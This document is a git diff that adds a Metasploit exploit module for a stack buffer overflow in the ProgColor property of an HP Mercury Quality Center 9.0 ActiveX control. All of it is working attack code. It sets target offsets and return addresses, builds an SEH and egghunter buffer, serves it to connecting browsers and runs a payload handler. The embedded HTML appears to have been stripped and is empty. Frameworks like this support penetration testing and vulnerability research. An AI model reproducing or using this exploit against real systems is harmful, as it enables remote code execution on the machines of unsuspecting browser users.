diff --git a/modules/exploits/windows/browser/hpmqc_progcolor.rb b/modules/exploits/windows/browser/hpmqc_progcolor.rb new file mode 100644 index 0000000000..aa8da21050 --- /dev/null +++ b/modules/exploits/windows/browser/hpmqc_progcolor.rb @@ -0,0 +1,99 @@ +## +# $Id: hpmqc_progcolor.rb 4645 2007-04-04 04:34:17Z hdm $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + +require 'msf/core' + +module Msf + +class Exploits::Windows::Browser::Hpmqc_Progcolor < Msf::Exploit::Remote + + include Exploit::Remote::HttpServer::HTML + include Exploit::Remote::Seh + include Exploit::Remote::Egghunter + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP Mercury Quality Center ActiveX Control ProgColor Buffer Overflow', + 'Description' => %q{ + This module exploits a stack overflow in an ActiveX control + installed by Hewlett-Packard Mercury Quality Center 9.0. + By setting an overly long value to 'ProgColor', an attacker + can overrun a buffer and execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'Version' => '$Revision: 3783 $', + 'References' => + [ + [ 'BID', '28239' ], + [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=497' ], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'Space' => 700, + 'BadChars' => "\x00\x5c\x0a\x0d\x22\x09\x20", + 'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff", + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows 2000 Pro English All', { 'Offset' => 396, 'Ret' => 0x75022ac4 } ], + [ 'Windows XP Pro SP0/SP1 English', { 'Offset' => 400, 'Ret' => 0x71aa32ad } ], + ], + 'DisclosureDate' => 'Apr 4 2007', + 'DefaultTarget' => 0)) + end + + def autofilter + false + end + + def on_request_uri(cli, request) + # Re-generate the payload + return if ((p = regenerate_payload(cli)) == nil) + + # Randomize some things + vname = rand_text_alpha(rand(100) + 1) + + hunter = generate_egghunter() + egg = hunter[1] + + # Build the exploit buffer + filler = rand_text_alphanumeric(target['Offset']) + seh = generate_seh_payload(target.ret) + sploit = filler + egg + egg + seh + hunter[0] + + # Build out the message + content = %Q| + + + + + + + | + + print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") + + # Transmit the response to the client + send_response_html(cli, content) + + # Handle the payload + handler(cli) + end + +end +end